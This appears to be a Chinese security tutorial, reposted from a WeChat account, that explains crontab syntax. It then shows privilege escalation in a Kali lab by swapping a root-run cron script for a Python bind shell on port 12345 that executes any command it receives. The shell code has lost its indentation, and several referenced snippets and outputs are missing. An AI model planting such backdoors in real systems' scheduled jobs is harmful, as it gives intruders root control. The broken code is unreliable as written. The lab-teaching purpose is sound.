crontab命令常见于Unix和类Unix的操作系统之中,用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于“crontab”文件中,以供之后读取和执行。该词来源于希腊语 chronos(χρνο),原意是时间。通常,crontab储存的指令被守护进程激活, crond常常在后台运行,每一分钟检查是否有预定的作业需要执行。这类作业一般称为cron jobs。
用户所建立的crontab文件中,每一行都代表一项任务,每行的每个字段代表一项设置,它的格式共分为六个字段,前五段是时间设定段,第六段是要执行的命令段,格式如下:
minute hour day month week command
其中:
minute:表示分钟,可以是从0到59之间的任何整数。
hour:表示小时,可以是从0到23之间的任何整数。
day:表示日期,可以是从1到31之间的任何整数。
month:表示月份,可以是从1到12之间的任何整数。
week:表示星期几,可以是从0到7之间的任何整数,这里的0或7代表星期日。
command:要执行的命令,可以是系统命令,也可以是自己编写的脚本文件。
下面我们来利用系统会周期性的去执行特定的指令来提权
在kali下面输入命令:
cat /etc/crontab
我们修改/etc/crontab 添加一行内容
nanhack.py 代码如下
文件已经创建成功,因为是root权限执行,当前目录直接在root目录
**提权方法:**
我们替换nanhack.py 为如下内容:
import socket
import os
#AF_INET 代表ipv4 SOCK_STREAM==>tcp
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 12345))
s.listen(5)
while True:
conn, addr = s.accept()
for i in range(10):
cmd = conn.recv(1024)
print(cmd)
command = cmd.decode(encoding='utf-8')
if command.startswith("cd"):
os.chdir(command[2:].strip())
result = os.getcwd()
else:
result = os.popen(command).read()
if result:
conn.send(result.encode('utf-8'))
else:
conn.send(b'ok')
这段代码的含义是:不断监听12345端口,并等待其他机器链接,并执行传递的命令。
等待目标执行后,我们启动客户端 client.py
我们在本机运行 client.py ,结果如下:
至此,提权成功!
原文始发于微信公众号(必火安全):计划任务提权crontab提权(kali linux搭建试验)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论